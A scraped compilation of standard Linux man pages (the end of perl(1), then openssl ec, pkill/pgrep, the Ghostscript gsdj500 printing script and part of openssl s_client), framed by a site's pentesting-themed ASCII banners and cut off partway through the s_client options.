perlaix Perl notes for AIX perlamiga Perl notes for AmigaOS perlandroid Perl notes for Android perlbs2000 Perl notes for POSIX-BC BS2000 perlcygwin Perl notes for Cygwin perlfreebsd Perl notes for FreeBSD perlhaiku Perl notes for Haiku perlhpux Perl notes for HP-UX perlhurd Perl notes for Hurd perlirix Perl notes for Irix perllinux Perl notes for Linux perlmacosx Perl notes for Mac OS X perlopenbsd Perl notes for OpenBSD perlos2 Perl notes for OS/2 perlos390 Perl notes for OS/390 perlos400 Perl notes for OS/400 perlplan9 Perl notes for Plan 9 perlqnx Perl notes for QNX perlriscos Perl notes for RISC OS perlsolaris Perl notes for Solaris perlsynology Perl notes for Synology perltru64 Perl notes for Tru64 perlvms Perl notes for VMS perlvos Perl notes for Stratus VOS perlwin32 Perl notes for Windows

Stubs for Deleted Documents

perlboot perlbot perlrepository perltodo perltooc perltoot

On Debian systems, you need to install the perl-doc package which contains the majority of the standard Perl documentation and the perldoc program.

Extensive additional documentation for Perl modules is available, both those distributed with Perl and third-party modules which are packaged or locally installed.

You should be able to view Perl’s documentation with your man (1) program or perldoc (1).

Some documentation is not available as man pages, so if a cross-reference is not found by man, try it with perldoc. Perldoc can also take you directly to documentation for functions (with the -f switch). See perldoc --help (or perldoc perldoc or man perldoc) for other helpful options perldoc has to offer.

In general, if something strange has gone wrong with your program and you’re not sure where you should look for help, try making your code comply with use strict and use warnings. These will often point out exactly where the trouble is.

DESCRIPTION

Perl officially stands for Practical Extraction and Report Language, except when it doesn’t.

Perl was originally a language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information. It quickly became a good language for many system management tasks. Over the years, Perl has grown into a general-purpose programming language. It’s widely used for everything from quick one-liners to full-scale application development.

The language is intended to be practical (easy to use, efficient, complete) rather than beautiful (tiny, elegant, minimal). It combines (in the author’s opinion, anyway) some of the best features of sed, awk, and sh, making it familiar and easy to use for Unix users to whip up quick solutions to annoying problems. Its general-purpose programming facilities support procedural, functional, and object-oriented programming paradigms, making Perl a comfortable language for the long haul on major projects, whatever your bent.

Perl’s roots in text processing haven’t been forgotten over the years. It still boasts some of the most powerful regular expressions to be found anywhere, and its support for Unicode text is world-class. It handles all kinds of structured text, too, through an extensive collection of extensions. Those libraries, collected in the CPAN, provide ready-made solutions to an astounding array of problems. When they haven’t set the standard themselves, they steal from the best Ω- just like Perl itself.

AVAILABILITY

Perl is available for most operating systems, including virtually all Unix-like platforms. See Supported Platforms in perlport for a listing.

ENVIRONMENT

See ENVIRONMENT in perlrun.

AUTHOR

Larry Wall <[email protected]>, with the help of oodles of other folks.

If your Perl success stories and testimonials may be of help to others who wish to advocate the use of Perl in their applications, or if you wish to simply express your gratitude to Larry and the Perl developers, please write to [email protected] .

FILES

“@INC” locations of perl libraries

@INC above is a reference to the built-in variable of the same name; see perlvar for more information.

SEE ALSO

https://www.perl.org/ the Perl homepage https://www.perl.com/ Perl articles https://www.cpan.org/ the Comprehensive Perl Archive https://www.pm.org/ the Perl Mongers

DIAGNOSTICS

Using the use strict pragma ensures that all variables are properly declared and prevents other misuses of legacy Perl features. These are enabled by default within the scope of use v5.12 (or higher).

The use warnings pragma produces some lovely diagnostics. It is enabled by default when you say use v5.35 (or higher). One can also use the -w flag, but its use is normally discouraged, because it gets applied to all executed Perl code, including that not under your control.

See perldiag for explanations of all Perl’s diagnostics. The use diagnostics pragma automatically turns Perl’s normally terse warnings and errors into these longer forms.

Compilation errors will tell you the line number of the error, with an indication of the next token or token type that was to be examined. (In a script passed to Perl via -e switches, each -e is counted as one line.)

Setuid scripts have additional constraints that can produce error messages such as Insecure dependency. See perlsec.

Did we mention that you should definitely consider using the use warnings pragma?

BUGS

The behavior implied by the use warnings pragma is not mandatory.

Perl is at the mercy of your machine’s definitions of various operations such as type casting, atof(), and floating-point output with sprintf().

If your stdio requires a seek or eof between reads and writes on a particular stream, so does Perl. (This doesn’t apply to sysread() and syswrite().)

While none of the built-in data types have any arbitrary size limits (apart from memory size), there are still a few arbitrary limits: a given variable name may not be longer than 251 characters. Line numbers displayed by diagnostics are internally stored as short integers, so they are limited to a maximum of 65535 (higher numbers usually being affected by wraparound).

You may submit your bug reports (be sure to include full configuration information as output by the myconfig program in the perl source tree, or by perl -V) to <https://github.com/Perl/perl5/issues>.

Perl actually stands for Pathologically Eclectic Rubbish Lister, but don’t tell anyone I said that.

NOTES

The Perl motto is There’s more than one way to do it. Divining how many more is left as an exercise to the reader.

The three principal virtues of a programmer are Laziness, Impatience, and Hubris. See the Camel Book for why.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1863 - Linux cli command openssl-ecssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-ecssl and provides detailed information about the command openssl-ecssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-ecssl.

NAME 🖥️ openssl-ecssl 🖥️

ec - EC key processing

SYNOPSIS

openssl ec [-help] [-inform DER|PEM|P12|ENGINE] [-outform DER|PEM] [-in filename|uri] [-passin arg] [-out filename] [-passout arg] [-des] [-des3] [-idea] [-text] [-noout] [-param_out] [-pubin] [-pubout] [-conv_form arg] [-param_enc arg] [-no_public] [-check] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

The openssl-ec (1) command processes EC keys. They can be converted between various forms and their components printed out. Note OpenSSL uses the private key format specified in ‘SEC 1: Elliptic Curve Cryptography’ (http://www.secg.org/). To convert an OpenSSL EC private key into the PKCS#8 private key format use the openssl-pkcs8 (1) command.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM|P12|ENGINE
The key input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The key output format; the default is PEM. See openssl-format-options (1) for details. Private keys are an SEC1 private key or PKCS#8 format. Public keys are a SubjectPublicKeyInfo as specified in IETF RFC 3280.

-in filename|uri
This specifies the input to read a key from or standard input if this option is not specified. If the key is encrypted a pass phrase will be prompted for.

-out filename
This specifies the output filename to write a key to or standard output by is not specified. If any encryption options are set then a pass phrase will be prompted for. The output filename should not be the same as the input filename.

-passin arg, -passout arg
The password source for the input and output file. For more information about the format of arg see openssl-passphrase-options (1).

-des|-des3|-idea
These options encrypt the private key with the DES, triple DES, IDEA or any other cipher supported by OpenSSL before outputting it. A pass phrase is prompted for. If none of these options is specified the key is written in plain text. This means that using this command to read in an encrypted key with no encryption option can be used to remove the pass phrase from a key, or by setting the encryption options it can be use to add or change the pass phrase. These options can only be used with PEM format output files.

-text
Prints out the public, private key components and parameters.

-noout
This option prevents output of the encoded version of the key.

-param_out
Print the elliptic curve parameters.

-pubin
By default a private key is read from the input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

-pubout
By default a private key is output. With this option a public key will be output instead. This option is automatically set if the input is a public key.

-conv_form arg
This specifies how the points on the elliptic curve are converted into octet strings. Possible values are: compressed, uncompressed (the default value) and hybrid. For more information regarding the point conversion forms please read the X9.62 standard. Note Due to patent issues the compressed option is disabled by default for binary curves and can be enabled by defining the preprocessor macro OPENSSL_EC_BIN_PT_COMP at compile time.

-param_enc arg
This specifies how the elliptic curve parameters are encoded. Possible value are: named_curve, i.e. the ec parameters are specified by an OID, or explicit where the ec parameters are explicitly given (see RFC 3279 for the definition of the EC parameters structures). The default value is named_curve. Note the implicitlyCA alternative, as specified in RFC 3279, is currently not implemented in OpenSSL.

-no_public
This option omits the public key components from the private key output.

-check
This option checks the consistency of an EC private or public key.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

The openssl-pkey (1) command is capable of performing all the operations this command can, as well as supporting other public key types.

EXAMPLES

The documentation for the openssl-pkey (1) command contains examples equivalent to the ones listed here.

To encrypt a private key using triple DES:

openssl ec -in key.pem -des3 -out keyout.pem

To convert a private key from PEM to DER format:

openssl ec -in key.pem -outform DER -out keyout.der

To print out the components of a private key to standard output:

openssl ec -in key.pem -text -noout

To just output the public part of a private key:

openssl ec -in key.pem -pubout -out pubkey.pem

To change the parameters encoding to explicit:

openssl ec -in key.pem -param_enc explicit -out keyout.pem

To change the point conversion form to compressed:

openssl ec -in key.pem -conv_form compressed -out keyout.pem

SEE ALSO

openssl (1), openssl-pkey (1), openssl-ecparam (1), openssl-dsa (1), openssl-rsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

The -conv_form and -no_public options are no longer supported with keys loaded from an engine in OpenSSL 3.0.

COPYRIGHT

Copyright 2003-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1864 - Linux cli command pkill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkill and provides detailed information about the command pkill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkill.

NAME 🖥️ pkill 🖥️

look up, signal, or wait for processes based on name and other attributes

SYNOPSIS

pgrep [options] pattern
pkill [options] pattern
pidwait [options] pattern

DESCRIPTION

pgrep looks through the currently running processes and lists the process IDs which match the selection criteria to stdout. All the criteria have to match. For example,

$ pgrep -u root sshd

will only list the processes called sshd AND owned by root. On the other hand,

$ pgrep -u root,daemon

will list the processes owned by root OR daemon.

pkill will send the specified signal (by default SIGTERM) to each process instead of listing them on stdout.

pidwait will wait for each process instead of listing them on stdout.

OPTIONS

**-**signal
–signal signal
Defines the signal to send to each matched process. Either the numeric or the symbolic signal name can be used. In pgrep or pidwait mode only the long option can be used and has no effect unless used in conjunction with –require-handler to filter to processes with a userspace signal handler present for a particular signal.

-c, –count
Suppress normal output; instead print a count of matching processes. When count does not match anything, e.g. returns zero, the command will return non-zero value. Note that for pkill and pidwait, the count is the number of matching processes, not the processes that were successfully signaled or waited for.

-d, –delimiter delimiter
Sets the string used to delimit each process ID in the output (by default a newline). (pgrep only.)

-e, –echo
Display name and PID of the process being killed. (pkill only.)

-f, –full
The pattern is normally only matched against the process name. When -f is set, the full command line is used.

-g, –pgroup pgrp,…
Only match processes in the process group IDs listed. Process group 0 is translated into pgrep’s, pkill’s, or pidwait’s own process group.

-G, –group gid,…
Only match processes whose real group ID is listed. Either the numerical or symbolical value may be used.

-i, –ignore-case
Match processes case-insensitively.

-l, –list-name
List the process name as well as the process ID. (pgrep only.)

-a, –list-full
List the full command line as well as the process ID. (pgrep only.)

-n, –newest
Select only the newest (most recently started) of the matching processes.

-o, –oldest
Select only the oldest (least recently started) of the matching processes.

-O, –older secs
Select processes older than secs.

-P, –parent ppid,…
Only match processes whose parent process ID is listed.

-s, –session sid,…
Only match processes whose process session ID is listed. Session ID 0 is translated into pgrep’s, pkill’s, or pidwait’s own session ID.

-t, –terminal term,…
Only match processes whose controlling terminal is listed. The terminal name should be specified without the “/dev/” prefix.

-u, –euid euid,…
Only match processes whose effective user ID is listed. Either the numerical or symbolical value may be used.

-U, –uid uid,…
Only match processes whose real user ID is listed. Either the numerical or symbolical value may be used.

-v, –inverse
Negates the matching. This option is usually used in pgrep’s or pidwait’s context. In pkill’s context the short option is disabled to avoid accidental usage of the option.

-w, –lightweight
Shows all thread ids instead of pids in pgrep’s or pidwait’s context. In pkill’s context this option is disabled.

-x, –exact
Only match processes whose names (or command lines if -f is specified) exactly match the pattern.

-F, –pidfile file
Read PIDs from file. This option is more useful for pkill or pidwait than pgrep.

-L, –logpidfile
Fail if pidfile (see -F) not locked.

-r, –runstates D,R,S,Z,
Match only processes which match the process state.

-A, –ignore-ancestors
Ignore all ancestors of pgrep, pkill, or pidwait. For example, this can be useful when elevating with sudo or similar tools.

-H, –require-handler
Only match processes with a userspace signal handler present for the signal to be sent.

–cgroup name**,…**
Match on provided control group (cgroup) v2 name. See cgroups(8)

–ns pid
Match processes that belong to the same namespaces. Required to run as root to match processes from other users. See –nslist for how to limit which namespaces to match.

–nslist name**,…**
Match only the provided namespaces. Available namespaces: ipc, mnt, net, pid, user, uts.

-q, –queue value
Use sigqueue(3) rather than kill(2) and the value argument is used to specify an integer to be sent with the signal. If the receiving process has installed a handler for this signal using the SA_SIGINFO flag to sigaction(2), then it can obtain this data via the si_value field of the siginfo_t structure.

-V, –version
Display version information and exit.

-h, –help
Display help and exit.

OPERANDS

pattern
Specifies an Extended Regular Expression for matching against the process names or command lines.

EXAMPLES

Example 1: Find the process ID of the named daemon:

$ pgrep -u root named

Example 2: Make syslog reread its configuration file:

$ pkill -HUP syslogd

Example 3: Give detailed information on all xterm processes:

$ ps -fp $(pgrep -d, -x xterm)

Example 4: Make all chrome processes run nicer:

$ renice +4 $(pgrep chrome)

EXIT STATUS

0
One or more processes matched the criteria. For pkill and pidwait, one or more processes must also have been successfully signalled or waited for.

1
No processes matched or none of them could be signalled.

2
Syntax error in the command line.

3
Fatal error: out of memory etc.

NOTES

The process name used for matching is limited to the 15 characters present in the output of /proc/pid/stat. Use the -f option to match against the complete command line, /proc/pid/cmdline. Threads may not have the same process name as the parent process but will have the same command line.

The running pgrep, pkill, or pidwait process will never report itself as a match.

The -O –older option will silently fail if /proc is mounted with the subset=pid option.

BUGS

The options -n and -o and -v can not be combined. Let me know if you need to do this.

Defunct processes are reported.

pidwait requires the pidfd_open(2) system call which first appeared in Linux 5.3.

SEE ALSO

ps(1), regex(7), signal(7), sigqueue(3), killall(1), skill(1), kill(1), kill(2), cgroups(8).

AUTHOR

Kjetil Torgrim Homme

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1865 - Linux cli command gsdj500

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gsdj500 and provides detailed information about the command gsdj500, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gsdj500.

NAME 🖥️ gsdj500 🖥️

Format and print text using ghostscript
gsbj - Format and print text for BubbleJet printer using ghostscript
gsdj - Format and print text for DeskJet printer using ghostscript
gsdj500 - Format and print text for DeskJet 500 BubbleJet using ghostscript
gslj - Format and print text for LaserJet printer using ghostscript

SYNOPSIS

gslp -12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile> -T<n> –add-to-space <units> –add-to-width <units> –columns <n> –detect –first-page <n> –kern <file.afm> –last-page <n> –(heading|footing)-(left|center|right) <string> –margin-(top|bottom|left|right) <inches> –no-eject-(file|formfeed) –spacing <n> [gs options] [files]

gsbj [options] [files]
gsdj [options] [files]
gsdj500 [options] [files]
gslj [options] [files]

DESCRIPTION

This utility provides functionality approximately equivalent to the Unix enscript(1) program. It prints plain text files using a single font. It currently handles tabs and formfeeds, but not backspaces. It will line-wrap when using fixed-pitch fonts. It will also do kerning and width adjustment.

The default device (-sDEVICE=) and resolution (-r) are as follows:

      gslp      epson      180
      gsbj      bj10e      180
      gsdj      deskjet    300
      gsdj500   djet500    300
      gslj      laserjet   300

By default the current date is formatted as the center header.

OPTIONS

Standard switches implemented:
-12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile>

Sun switches implemented:
-T<n> set tab width

Switches ignored:
-GghKkmow -# -C -d -J -n -P -S -s -t -v

Switches added:

–add-to-space <units>
add the given number of 1/72" units to the width of each space (may be negative)

–add-to-width <units>
add the given number of 1/72" units to the width of each character (may be negative)

–columns <n>
print in <n> columns

–detect
treat the file as PostScript if it starts with %!

–first-page <n>
start printing at page <n>

–kern <file.afm>
kern using information from the given .AFM file

–last-page <n>
stop printing after page <n>

–(heading|footing)-(left|center|right) <string>
set the heading/footing fields; use -B first to clear

–margin-(top|bottom|left|right) <inches>
set a margin

–no-eject-(file|formfeed)
end-of-file/FF only starts a new column, not a new sheet

–spacing <n>
use double (n=2), triple (n=3), etc. spacing

Also, the string %# in a heading or footing is replaced with the page #.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1866 - Linux cli command openssl-s_clientssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-s_clientssl and provides detailed information about the command openssl-s_clientssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-s_clientssl.

NAME 🖥️ openssl-s_clientssl 🖥️

s_client - SSL/TLS client program

SYNOPSIS

openssl s_client [-help] [-ssl_config section] [-connect host:port] [-host hostname] [-port port] [-bind host:port] [-proxy host:port] [-proxy_user userid] [-proxy_pass arg] [-unix path] [-4] [-6] [-quic] [-servername name] [-noservername] [-verify depth] [-verify_return_error] [-verify_quiet] [-verifyCAfile filename] [-verifyCApath dir] [-verifyCAstore uri] [-cert filename] [-certform DER|PEM|P12] [-cert_chain filename] [-build_chain] [-CRL filename] [-CRLform DER|PEM] [-crl_download] [-key filename|uri] [-keyform DER|PEM|P12|ENGINE] [-pass arg] [-chainCAfile filename] [-chainCApath directory] [-chainCAstore uri] [-requestCAfile filename] [-dane_tlsa_domain domain] [-dane_tlsa_rrdata rrdata] [-dane_ee_no_namechecks] [-reconnect] [-showcerts] [-prexit] [-no-interactive] [-debug] [-trace] [-nocommands] [-adv] [-security_debug] [-security_debug_verbose] [-msg] [-timeout] [-mtu size] [-no_etm] [-no_ems] [-keymatexport label] [-keymatexportlen len] [-msgfile filename] [-nbio_test] [-state] [-nbio] [-crlf] [-ign_eof] [-no_ign_eof] [-psk_identity identity] [-psk key] [-psk_session file] [-quiet] [-sctp] [-sctp_label_bug] [-fallback_scsv] [-async] [-maxfraglen len] [-max_send_frag] [-split_send_frag] [-max_pipelines] [-read_buf] [-ignore_unexpected_eof] [-bugs] [-no_tx_cert_comp] [-no_rx_cert_comp] [-comp] [-no_comp] [-brief] [-legacy_server_connect] [-no_legacy_server_connect] [-allow_no_dhe_kex] [-sigalgs sigalglist] [-curves curvelist] [-cipher cipherlist] [-ciphersuites val] [-serverpref] [-starttls protocol] [-name hostname] [-xmpphost hostname] [-name hostname] [-tlsextdebug] [-no_ticket] [-sess_out filename] [-serverinfo types] [-sess_in filename] [-serverinfo types] [-status] [-alpn protocols] [-nextprotoneg protocols] [-ct] [-noct] [-ctlogfile] [-keylogfile file] [-early_data file] [-enable_pha] [-use_srtp value] [-srpuser value] [-srppass value] [-srp_lateuser] [-srp_moregroups] [-srp_strength number] [-ktls] [-tfo] [-nameopt option] [-no_ssl3] [-no_tls1] [-no_tls1_1] [-no_tls1_2] [-no_tls1_3] [-ssl3] [-tls1] [-tls1_1] [-tls1_2] [-tls1_3] [-dtls] [-dtls1] [-dtls1_2] [-xkey infile] [-xcert file] [-xchain file] [-xchain_build file] [-xcertform DER|PEM]> [-xkeyform DER|PEM]> [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-bugs] [-no_comp] [-comp] [-no_ticket] [-serverpref] [-client_renegotiation] [-legacy_renegotiation] [-no_renegotiation] [-no_resumption_on_reneg] [-legacy_server_connect] [-no_legacy_server_connect] [-no_etm] [-allow_no_dhe_kex] [-prioritize_chacha] [-strict] [-sigalgs algs] [-client_sigalgs algs] [-groups groups] [-curves curves] [-named_curve curve] [-cipher ciphers] [-ciphersuites 1.3ciphers] [-min_protocol minprot] [-max_protocol maxprot] [-record_padding padding] [-debug_broken_protocol] [-no_middlebox] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [-engine id] [-ssl_client_engine id] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-enable_server_rpk] [-enable_client_rpk] [host:port]

DESCRIPTION

This command implements a generic SSL/TLS client which connects to a remote host using SSL/TLS. It is a very useful diagnostic tool for SSL servers.

OPTIONS

In addition to the options below, this command also supports the common and client only options documented in the “Supported Command Line Commands” section of the SSL_CONF_cmd (3) manual page.

-help
Print out a usage message.

-ssl_config section
Use the specified section of the configuration file to configure the SSL_CTX object.

-connect host:port
This specifies the host and optional port to connect to. It is possible to select the host and port using the optional target positional argument instead. If neither this nor the target positional argument are specified then an attempt is made to connect to the local host on port 4433.

-host hostname
Host to connect to; use -connect instead.

-port port
Connect to the specified port; use -connect instead.

-bind host:port
This specifies the host address and or port to bind as the source for the connection. For Unix-domain sockets the port is ignored and the host is used as the source socket address.

-proxy host:port
When used with the -connect flag, the program uses the host and port specified with this flag and issues an HTTP CONNECT command to connect to the desired server.

-proxy_user userid
When used with the -proxy flag, the program will attempt to authenticate with the specified proxy using basic (base64) authentication. NB: Basic authentication is insecure; the credentials are sent to the proxy in easily reversible base64 encoding before any TLS/SSL session is established. Therefore, these credentials are easily recovered by anyone able to sniff/trace the network. Use with caution.

-proxy_pass arg
The proxy password source, used with the -proxy_user flag. For more information about the format of arg see openssl-passphrase-options (1).

-unix path
Connect over the specified Unix-domain socket.

-4
Use IPv4 only.

-6
Use IPv6 only.

-quic
Connect using the QUIC protocol. If specified then the -alpn option must also be provided.

-servername name
Set the TLS SNI (Server Name Indication) extension in the ClientHello message to the given value. If -servername is not provided, the TLS SNI extension will be populated with the name given to -connect if it follows a DNS name format. If -connect is not provided either, the SNI is set to “localhost”. This is the default since OpenSSL 1.1.1. Even though SNI should normally be a DNS name and not an IP address, if -servername is provided then that name will be sent, regardless of whether it is a DNS name or not. This option cannot be used in conjunction with -noservername.

-noservername
Suppresses sending of the SNI (Server Name Indication) extension in the ClientHello message. Cannot be used in conjunction with the -servername or -dane_tlsa_domain options.

-cert filename
The client certificate to use, if one is requested by the server. The default is not to use a certificate. The chain for the client certificate may be specified using -cert_chain.

-certform DER|PEM|P12
The client certificate file format to use; unspecified by default. See openssl-format-options (1) for details.

-cert_chain
A file or URI of untrusted certificates to use when attempting to build the certificate chain related to the certificate specified via the -cert option. The input can be in PEM, DER, or PKCS#12 format.

-build_chain
Specify whether the application should build the client certificate chain to be provided to the server.

-CRL filename
CRL file to use to check the server’s certificate.

-CRLform DER|PEM
The CRL file format; unspecified by default. See openssl-format-options (1) for details.

-crl_download
Download CRL from distribution points in the certificate.

-key filename|uri
The client private key to use. If not specified then the certificate file will be used to read also the key.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-pass arg
the private key and certificate file password source. For more information about the format of arg see openssl-passphrase-options (1).

-verify depth
The verify depth to use. This specifies the maximum length of the server certificate chain and turns on server certificate verification. Currently the verify operation continues after errors so all the problems with a certificate chain can be seen. As a side effect the connection will never fail due to a server certificate verify failure.

-verify_return_error
Return verification errors instead of continuing. This will typically abort the handshake with a fatal error.

-verify_quiet
Limit verify output to only errors.

-verifyCAfile filename
A file in PEM format containing trusted certificates to use for verifying the server’s certificate.

-verifyCApath dir
A directory containing trusted certificates to use for verifying the server’s certificate. This directory must be in “hash format”, see openssl-verify (1) for more information.

-verifyCAstore uri
The URI of a store containing trusted certificates to use for verifying the server’s certificate.

-chainCAfile file
A file in PEM format containing trusted certificates to use when attempting to build the client certificate chain.

-chainCApath directory
A directory containing trusted certificates to use for building the client certificate chain provided to the server. This directory must be in “hash format”, see openssl-verify (1) for more information.

-chainCAstore uri
The URI of a store containing trusted certificates to use when attempting to build the client certificate chain. The URI may indicate a single certificate, as well as a collection of them. With URIs in the file: scheme, this acts as -chainCAfile or -chainCApath, depending on if the URI indicates a directory or a single file. See ossl_store-file (7) for more information on the file: scheme.

-requestCAfile file
A file containing a list of certificates whose subject names will be sent to the server in the certificate_authorities extension. Only supported for TLS 1.3

-dane_tlsa_domain domain
Enable RFC6698/RFC7671 DANE TLSA authentication and specify the TLSA base domain which becomes the default SNI hint and the primary reference identifier for hostname checks. This must be used in combination with at least one instance of the -dane_tlsa_rrdata option below. When DANE authentication succeeds, the diagnostic output will include the lowest (closest to 0) depth at which a TLSA record authenticated a chain certificate. When that TLSA record is a “2 1 0” trust anchor public key that signed (rather than matched) the top-most certificate of the chain, the result is reported as “TA public key verified”. Otherwise, either the TLSA record “matched TA certificate” at a positive depth or else “matched EE certificate” at depth 0.

-dane_tlsa_rrdata rrdata
Use one or more times to specify the RRDATA fields of the DANE TLSA RRset associated with the target service. The rrdata value is specified in “presentation form”, that is four whitespace separated fields that specify the usage, selector, matching type and associated data, with the last of these encoded in hexadecimal. Optional whitespace is ignored in the associated data field. For example: $ openssl s_client -brief -starttls smtp \ -connect smtp.example.com:25 \ -dane_tlsa_domain smtp.example.com \ -dane_tlsa_rrdata “2 1 1 B111DD8A1C2091A89BD4FD60C57F0716CCE50FEEFF8137CDBEE0326E 02CF362B” \ -dane_tlsa_rrdata “2 1 1 60B87575447DCBA2A36B7D11AC09FB24A9DB406FEE12D2CC90180517 616E8A18” … Verification: OK Verified peername: smtp.example.com DANE TLSA 2 1 1 …ee12d2cc90180517616e8a18 matched TA certificate at depth 1 …

-dane_ee_no_namechecks
